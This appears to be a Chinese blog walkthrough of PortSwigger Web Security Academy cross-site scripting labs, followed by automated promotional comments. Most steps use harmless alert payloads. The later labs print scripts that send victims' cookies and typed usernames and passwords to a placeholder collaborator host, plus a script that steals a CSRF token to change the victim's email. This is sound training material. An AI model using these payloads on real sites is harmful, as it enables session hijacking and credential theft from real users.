一、前言
xss攻击类型
XSS 攻击主要分为三种类型。这些都是:
二、实验室:将 XSS 反射到 HTML 上下文中,不进行任何编码
-
将以下内容复制并粘贴到搜索框中:
<script>alert(1)</script>
- 单击“搜索”。
- 可以利用bp的web漏洞扫描器扫描
三、实验室:将 XSS 存储到 HTML 上下文中,不进行任何编码
-
在评论框中输入以下内容:
<script>alert(1)</script>
- 输入姓名、电子邮件和网站。
- 点击“发表评论”。
- 返回博客。
只要注意填入内容的时候对文本内容有一定的限制,可以利用web漏洞扫描器进行扫描
四、 实验室:使用源在接收器中进行DOM XSSdocument.write
location.search
- 在搜索框中输入随机字母数字字符串。
- 右键单击并检查该元素,并观察您的随机字符串已放置在属性内
img src
。 -
img
通过搜索来 打破属性:
"><svg onload=alert(1)>
五、 实验室:在接收器中使用选择元素内的源的DOM XSSdocument.write
location.search
- 在产品页面上,请注意危险的 JavaScript
storeId
从location.search
源中提取参数。然后,它用于document.write
在选择元素中为库存检查器功能创建一个新选项。 - 将
storeId
查询参数添加到 URL 并输入随机字母数字字符串作为其值。请求此修改后的 URL。 - 在浏览器中,请注意您的随机字符串现在已列为下拉列表中的选项之一。
- 右键单击并检查下拉列表以确认参数的值
storeId
已放置在选择元素内。 -
更改 URL 以在参数内包含合适的XSSstoreId
负载,如下所示:
product?productId=1&storeId="></select><img%20src=1%20onerror=alert(1)>
六、 实验室:使用源的jQuery 锚点属性接收器中的DOM XSShref
location.search
- 在提交反馈页面上,将查询参数更改
returnPath
为/
后跟随机字母数字字符串。 - 右键单击并检查该元素,并观察您的随机字符串已放置在 a
href
属性内。 -
更改returnPath
为:
javascript:alert(document.cookie)
按 Enter 键并单击“返回”。
七、 实验室:使用 hashchange 事件的 jQuery 选择器接收器中的DOM XSS
- 从实验室横幅中,打开漏洞利用服务器。
-
在body部分中,添加以下恶意代码iframe
:
<iframe src="https://YOUR-LAB-ID(这里是自己主页的url).web-security-academy.net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>
- 存储漏洞利用程序,然后单击“查看漏洞利用程序”
print()
以确认调用了 该函数。 - 返回漏洞利用服务器并单击“交付给受害者”以解决实验室问题
八、 实验室:将 XSS 反射到带有尖括号 HTML 编码的属性中
- 在搜索框中提交随机字母数字字符串,然后使用 Burp Suite 拦截搜索请求并将其发送到 Burp Repeater。
- 观察随机字符串已反映在带引号的属性内。
-
将您的输入替换为以下有效负载以转义带引号的属性并注入事件处理程序:
"onmouseover="alert(1)
- 通过右键单击、选择“复制 URL”并将 URL 粘贴到浏览器中来验证该技术是否有效。当您将鼠标移到注入的元素上时,它应该触发警报
九、 实验室:将 XSS 存储href
到带有双引号 HTML 编码的锚属性中
- 在“网站”输入中发布带有随机字母数字字符串的评论,然后使用 Burp Suite 拦截请求并将其发送到 Burp Repeater。
- 在浏览器中发出第二个请求以查看帖子,并使用 Burp Suite 拦截该请求并将其发送到 Burp Repeater。
- 观察第二个 Repeater 选项卡中的随机字符串已反映在锚点
href
属性内。 -
再次重复该过程,但这次将您的输入替换为以下有效负载,以注入调用警报的 JavaScript URL:
十、 实验室:将 XSS 反射到带有尖括号 HTML 编码的 JavaScript 字符串中
- 在搜索框中提交随机字母数字字符串,然后使用 Burp Suite 拦截搜索请求并将其发送到 Burp Repeater。
- 观察随机字符串已反映在 JavaScript 字符串中。
-
将您的输入替换为以下有效负载,以打破 JavaScript 字符串并注入警报:
'-alert(1)-'
- 通过右键单击、选择“复制 URL”并将 URL 粘贴到浏览器中来验证该技术是否有效。当您加载页面时,它应该触发警报。
十一、 实验室:使用源在接收器中进行DOM XSSinnerHTML
location.search
-
在搜索框中输入以下内容:
<img src=1 onerror=alert(1)>
- 单击“搜索”。
该src
属性的值无效并引发错误。这会触发onerror
事件处理程序,然后调用该alert()
函数。因此,每当用户的浏览器尝试加载包含恶意帖子的页面时,就会执行有效负载。
十二、 实验室:AngularJS 表达式中的 DOM XSS,带有尖括号和双引号 HTML 编码
本实验在搜索功能的 AngularJS 表达式中包含一个基于 DOM 的跨站点脚本漏洞。
AngularJS 是一个流行的 JavaScript 库,它扫描包含属性(也称为 AngularJS 指令)的 HTML 节点的内容。将指令添加到 HTML 代码中时,可以在双大括号内执行 JavaScript 表达式。在对尖括号进行编码时,此技术非常有用。ng-app
若要解决此实验,请执行执行 AngularJS 表达式并调用该函数的跨站点脚本攻击。alert
- 在搜索框中输入一个随机字母数字字符串。
- 查看页面源代码,并观察随机字符串是否包含在指令中。
ng-app
-
在搜索框中输入以下 AngularJS 表达式:
{{$on.constructor('alert(1)')()}}
- 单击搜索。
- 在 Burp Suite 中,转到 Proxy 工具并确保 Intercept 功能已打开。
- 回到实验室,转到目标网站,然后使用搜索栏搜索随机测试字符串,例如 .
"XSS"
- 返回到 Burp Suite 中的代理工具并转发请求。
- 请注意,在“拦截”选项卡上,该字符串反映在名为 的 JSON 响应中。
search-results
- 在站点地图中,打开文件,请注意 JSON 响应与函数调用一起使用。
searchResults.js
eval()
- 通过试验不同的搜索字符串,可以确定 JSON 响应是否在转义引号。但是,反斜杠并没有被逃脱。
-
要解决此实验,请输入以下搜索词:
\"-alert(1)}//
由于您注入了反斜杠,并且站点没有转义它们,因此当 JSON 响应尝试转义左双引号字符时,它会添加第二个反斜杠。由此产生的双反斜杠会导致转义被有效地抵消。这意味着双引号的处理方式是不转义的,这将关闭应包含搜索词的字符串。
然后,在调用函数之前,使用算术运算符(在本例中为减法运算符)分隔表达式。最后,右大括号和两个正斜杠提前关闭 JSON 对象,并注释掉对象的其余部分。因此,将按如下方式生成响应:alert()
{"searchTerm":"\\"-alert(1)}//", "results":[]}
发布包含以下向量的评论:
<><img src=1 onerror=alert(1)>
为了防止 XSS,该网站使用 JavaScript 函数对尖括号进行编码。但是,当第一个参数是字符串时,该函数仅替换第一个匹配项。我们通过在注释开头添加一组额外的尖括号来利用此漏洞。这些尖括号将被编码,但任何后续尖括号都不会受到影响,使我们能够有效地绕过过滤器并注入 HTML。replace()
十五、 实验室:将 XSS 反射到 HTML 上下文中,其中大多数标记和属性被阻止
-
注入标准 XSS 向量,例如:
<img src=1 onerror=print()>
- 请注意,这被阻止了。在接下来的几个步骤中,我们将使用 burp Intruder 来测试哪些标签和属性被阻止。
- 打开 Burp 的浏览器,使用实验室中的搜索功能。将生成的请求发送到 Burp Intruder。
- 在 Burp Intruder 的“位置”选项卡中,将搜索词的值替换为:
<>
- 将光标放在尖括号之间,然后单击“添加 §”两次,以创建有效负载位置。搜索词的值现在应如下所示:
<§§>
- 访问 XSS 备忘单,然后单击“将标签复制到剪贴板”。
- 在 Burp Intruder 的 Payloads 选项卡中,单击“粘贴”将标签列表粘贴到有效负载列表中。点击“开始攻击”。
- 攻击完成后,查看结果。请注意,所有有效负载都导致了 HTTP 400 响应,但有效负载除外,它导致了 200 响应。
-
返回 Burp Intruder 中的“位置”选项卡,并将搜索词替换为:
<body%20=1>
- 将光标放在字符之前,然后单击“添加§”两次,以创建有效负载位置。搜索词的值现在应如下所示:
=
<body%20§§=1>
- 访问 XSS 备忘单,然后单击“将事件复制到剪贴板”。
- 在 Burp Intruder 的“有效负载”选项卡中,单击“清除”以删除以前的有效负载。然后单击“粘贴”将属性列表粘贴到有效负载列表中。点击“开始攻击”。
- 攻击完成后,查看结果。请注意,所有有效负载都导致了 HTTP 400 响应,但有效负载除外,它导致了 200 响应。
onresize
-
转到漏洞利用服务器并粘贴以下代码,并替换为实验室 ID:YOUR-LAB-ID
<iframe src="https://YOUR-LAB-ID.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=print()%3E" onload=this.style.width='100px'>
- 单击“存储”和“向受害者提供漏洞”。
十六、 实验室:将 XSS 反射到 HTML 上下文中,除自定义标记外,所有标记均被阻止
-
转到漏洞利用服务器并粘贴以下代码,并替换为实验室 ID:YOUR-LAB-ID
<script> location = 'https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29%20tabindex=1%3E#x'; </script>
- 单击“存储”和“向受害者提供漏洞”。
此注入创建一个带有 ID 的自定义标签,其中包含触发函数的事件处理程序。URL 末尾的哈希值在页面加载后立即聚焦于此元素,从而导致调用有效负载。x
onfocus
alert
alert
十七、 实验室:允许使用一些 SVG 标记的反射型 XSS
-
注入标准 XSS 有效负载,例如:
<img src=1 onerror=alert(1)>
- 请注意,此有效负载被阻止。在接下来的几个步骤中,我们将使用 Burp Intruder 来测试哪些标签和属性被阻止。
- 打开 Burp 的浏览器,使用实验室中的搜索功能。将生成的请求发送到 Burp Intruder。
- 在 Burp Intruder 的“位置”选项卡中,单击“清除 §”。
- 在请求模板中,将搜索词的值替换为:
<>
- 将光标放在尖括号之间,然后单击“添加§”两次以创建有效负载位置。搜索词的值现在应为:
<§§>
- 访问 XSS 备忘单,然后单击“将标签复制到剪贴板”。
- 在 Burp Intruder 的 Payloads 选项卡中,单击“粘贴”将标签列表粘贴到有效负载列表中。点击“开始攻击”。
- 攻击完成后,查看结果。请注意,所有有效负载都导致了 HTTP 400 响应,但使用 、 、 和 标记的有效负载除外,这些有效负载收到了 200 响应。
<svg>
<animatetransform><title><image>
-
返回 Burp Intruder 中的“位置”选项卡,并将搜索词替换为:
<svg><animatetransform%20=1>
-
将光标放在字符之前,然后单击“添加 §”两次以创建有效负载位置。搜索词的值现在应为:=
<svg><animatetransform%20§§=1>
- 访问 XSS 备忘单,然后单击“将事件复制到剪贴板”。
- 在 Burp Intruder 的“有效负载”选项卡中,单击“清除”以删除以前的有效负载。然后单击“粘贴”将属性列表粘贴到有效负载列表中。点击“开始攻击”。
-
攻击完成后,查看结果。请注意,所有有效负载都导致了 HTTP 400 响应,但有效负载除外,它导致了 200 响应。onbegin
在浏览器中访问以下 URL,以确认调用了 alert() 函数并解决了实验室问题:
https://YOUR-LAB-ID.web-security-academy.net/?search=%22%3E%3Csvg%3E%3Canimatetransform%20onbegin=alert(1)%3E
十八、 实验室:规范链接标记中的反射 XSS
-
访问以下 URL,并替换为您的实验室 ID:YOUR-LAB-ID
https://YOUR-LAB-ID.web-security-academy.net/?%27accesskey=%27x%27onclick=%27alert(1)
这会将密钥设置为整个页面的访问密钥。当用户按下访问键时,将调用该函数。X
alert
- 要在自己身上触发漏洞利用,请按以下组合键之一:
- 在 Windows 上:
ALT+SHIFT+X
- 在 MacOS 上:
CTRL+ALT+X
- 在 Linux 上:
Alt+X
十九、 实验室:将 XSS 反映为带有单引号和反斜杠转义的 JavaScript 字符串
- 在搜索框中提交一个随机的字母数字字符串,然后使用 Burp Suite 拦截搜索请求并将其发送到 Burp Repeater。
- 观察随机字符串是否已反映在 JavaScript 字符串中。
- 尝试发送有效负载,并观察您的单引号是否被反斜杠转义,从而阻止您脱离字符串。
test'payload
-
将输入替换为以下有效负载,以跳出脚本块并注入新脚本:
</script><script>alert(1)</script>
- 通过右键单击,选择“复制 URL”,然后将 URL 粘贴到浏览器中来验证该技术是否有效。加载页面时,它应该会触发警报。
二十、 实验室:将 XSS 反映为 JavaScript 字符串,其中尖括号和双引号经过 HTML 编码和单引号转义
- 在搜索框中提交一个随机的字母数字字符串,然后使用 Burp Suite 拦截搜索请求并将其发送到 Burp Repeater。
- 观察随机字符串是否已反映在 JavaScript 字符串中。
- 尝试发送有效负载,并观察您的单引号是否被反斜杠转义,从而阻止您脱离字符串。
test'payload
- 尝试发送有效负载,并观察您的反斜杠是否未被转义。
test\payload
-
将输入替换为以下有效负载,以跳出 JavaScript 字符串并注入警报:
\'-alert(1)//
- 通过右键单击,选择“复制 URL”,然后将 URL 粘贴到浏览器中来验证该技术是否有效。加载页面时,它应该会触发警报。
二十一、 实验室:将 XSS 存储到事件中,使用尖括号和双引号 HTML 编码和单引号和反斜杠转义onclick
- 在“网站”输入中发布带有随机字母数字字符串的评论,然后使用 Burp Suite 拦截请求并将其发送到 Burp Repeater。
- 在浏览器中发出第二个请求以查看帖子,并使用 Burp Suite 拦截该请求并将其发送到 Burp Repeater。
- 请注意,第二个 Repeater 选项卡中的随机字符串已反映在事件处理程序属性中。
onclick
-
再次重复该过程,但这次修改您的输入以注入调用 的 JavaScript URL,使用以下有效负载:alert
http://foo?'-alert(1)-'
- 通过右键单击,选择“复制 URL”,然后将 URL 粘贴到浏览器中来验证该技术是否有效。单击评论上方的名称应该会触发警报。
二十二、 实验室:将 XSS 反映为带有尖括号、单引号、双引号、反斜杠和反引号的模板文本 Unicode 转义
- 在搜索框中提交一个随机的字母数字字符串,然后使用 Burp Suite 拦截搜索请求并将其发送到 Burp Repeater。
- 观察随机字符串是否已反映在 JavaScript 模板字符串中。
- 将输入替换为以下有效负载,以在模板字符串中执行 JavaScript:
${alert(1)}
- 通过右键单击,选择“复制 URL”,然后将 URL 粘贴到浏览器中来验证该技术是否有效。加载页面时,它应该会触发警报。
二十三、 实验室:利用跨站点脚本来窃取 Cookie
- 使用 Burp Suite Professional,转到“协作者”选项卡。
- 单击“复制到剪贴板”,将唯一的 Burp Collaborator 有效负载复制到剪贴板。
-
在博客评论中提交以下有效负载,在指示的位置插入您的 Burp Collaborator 子域:
<script> fetch('https://BURP-COLLABORATOR-SUBDOMAIN', { method: 'POST', mode: 'no-cors', body:document.cookie }); </script>
此脚本将使查看评论的任何人向公共协作者服务器上的子域发出包含其 cookie 的 POST 请求。
- 返回“协作者”选项卡,然后单击“立即投票”。您应该会看到 HTTP 交互。如果您没有看到任何互动,请等待几秒钟,然后重试。
- 记下 POST 正文中受害者 cookie 的值。
- 重新加载博客主页,使用 Burp Proxy 或 Burp Repeater 将您自己的会话 cookie 替换为您在 Burp Collaborator 中捕获的会话 cookie。发送请求以解决实验室问题。为了证明您已成功劫持管理员用户的会话,您可以在请求中使用相同的 cookie 来加载管理员用户的帐户页面。
/my-account
- 使用 Burp Suite Professional,转到“协作者”选项卡。
- 单击“复制到剪贴板”,将唯一的 Burp Collaborator 有效负载复制到剪贴板。
-
在博客评论中提交以下有效负载,在指示的位置插入您的 Burp Collaborator 子域:
<input name=username id=username> <input type=password name=password onchange="if(this.value.length)fetch('https://BURP-COLLABORATOR-SUBDOMAIN',{ method:'POST', mode: 'no-cors', body:username.value+':'+this.value });">
此脚本将使查看评论的任何人向公共协作者服务器的子域发出包含其用户名和密码的 POST 请求。
- 返回“协作者”选项卡,然后单击“立即投票”。您应该会看到 HTTP 交互。如果您没有看到任何互动,请等待几秒钟,然后重试。
- 记下 POST 正文中受害者用户名和密码的值。
- 使用凭据以受害用户身份登录。
二十五、 实验:利用 XSS 执行 CSRF
本实验在博客评论功能中包含一个存储的 XSS 漏洞。要解决该实验室,请利用此漏洞执行 CSRF 攻击并更改查看博客文章评论的人的电子邮件地址。
您可以使用以下凭据登录自己的帐户:wiener:peter
- 使用提供的凭据登录。在您的用户帐户页面上,请注意更新电子邮件地址的功能。
- 如果您查看该页面的来源,您将看到以下信息:
- 您需要使用名为 的参数向 发出 POST 请求。
/my-account/change-email
email
- 在一个名为 的隐藏输入中有一个反 CSRF 令牌。
token
这意味着您的漏洞利用将需要加载用户帐户页面,提取 CSRF 令牌,然后使用该令牌更改受害者的电子邮件地址。 -
在博客评论中提交以下有效负载:
<script> var req = new XMLHttpRequest(); req.onload = handleResponse; req.open('get','/my-account',true); req.send(); function handleResponse() { var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1]; var changeReq = new XMLHttpRequest(); changeReq.open('post', '/my-account/change-email', true); changeReq.send('csrf='+token+'&email=test@test.com') }; </script>
这将使任何查看评论的人发出 POST 请求,以将其电子邮件地址更改为 .test@test.com
二十六、 实验室:
二十七、 实验室:
二十八、 实验室:
二十九、 实验室:
三十、 实验室:
CSDN-Ada助手: 恭喜你写了第5篇博客!标题看起来很有趣,我很期待阅读内容。你对PortSwigger靶场的文件上传漏洞进行了深入研究,这真是令人钦佩。在这个领域里持续创作是非常重要的,你的努力和热情非常值得赞赏。 如果我可以提供一些建议的话,我认为下一步你可以考虑探索一些与文件上传漏洞相关的实际案例,或者分享一些解决该漏洞的技巧和经验。这样的话,读者可以更好地理解如何应对这类安全问题,从而提升他们的技能。 谦虚地说,我希望你能继续保持写作的激情,并继续分享你的知识和见解。我期待着看到你未来的创作!
CSDN-Ada助手: 非常感谢您的持续创作,标题为“PortSwigger靶场(二)XXE注入”的博客内容非常有趣和有见地。恭喜您完成第三篇博客!我真的很喜欢您深入浅出的写作风格,让我对XXE注入的理解有了更多的启发。 对于下一步的创作建议,我谨慎地提出一些建议。首先,我希望您能继续探索和分享与XXE注入相关的更多实践案例,将理论知识与实际应用结合起来,这将使您的博客更加实用和有趣。此外,您可以进一步拓展相关话题,如如何防范XXE注入攻击、XXE注入的演化趋势等等,这将使您的读者获得更全面的知识。 再次恭喜您,并期待您更多优质的创作! CSDN 正在通过评论红包奖励优秀博客,请看红包流:https://bbs.csdn.net/?type=4&header=0&utm_source=csdn_ai_ada_blog_reply3
CSDN-Ada助手: 非常感谢您分享这篇关于PortSwigger靶场的博客,标题“SSRF服务端请求伪造”,看起来非常有趣!恭喜您持续创作,分享对网络安全的深入理解和经验。我希望您能继续保持这种积极的创作势头,并继续分享有关PortSwigger靶场的更多内容。也许您可以考虑探索其他类型的漏洞或者深入研究SSRF服务端请求伪造的不同应用场景。期待看到您的下一篇博客! 如何快速涨粉,请看该博主的分享:https://hope-wisdom.blog.csdn.net/article/details/130544967?utm_source=csdn_ai_ada_blog_reply5
CSDN-Ada助手: 非常棒的学习笔记!看到你已经在学习了sqli-labs,pikachu和DVWA这些靶场之后,又开始了portswigger的学习,真是令人钦佩。不断地挑战新的靶场,对于提升自己的安全意识和技能非常有帮助。 除了sqli注入部分,你可能还可以进一步扩展你的知识和技能。比如,你可以尝试学习跨站脚本攻击(XSS)的防御方法,或者深入了解跨站请求伪造(CSRF)的原理和防范措施。此外,你还可以探索一下文件上传漏洞的利用方式和防御方法,或者研究一下服务器端请求伪造(SSRF)的技术及防护措施。 当然,这些只是一小部分与博文相关的扩展知识和技能,希望你能够继续保持学习的热情,不断探索更多有关网络安全的领域。感谢你的分享,期待你未来更多精彩的博文! 如何写出更高质量的博客,请看该博主的分享:https://blog.csdn.net/lmy_520/article/details/128686434?utm_source=csdn_ai_ada_blog_reply2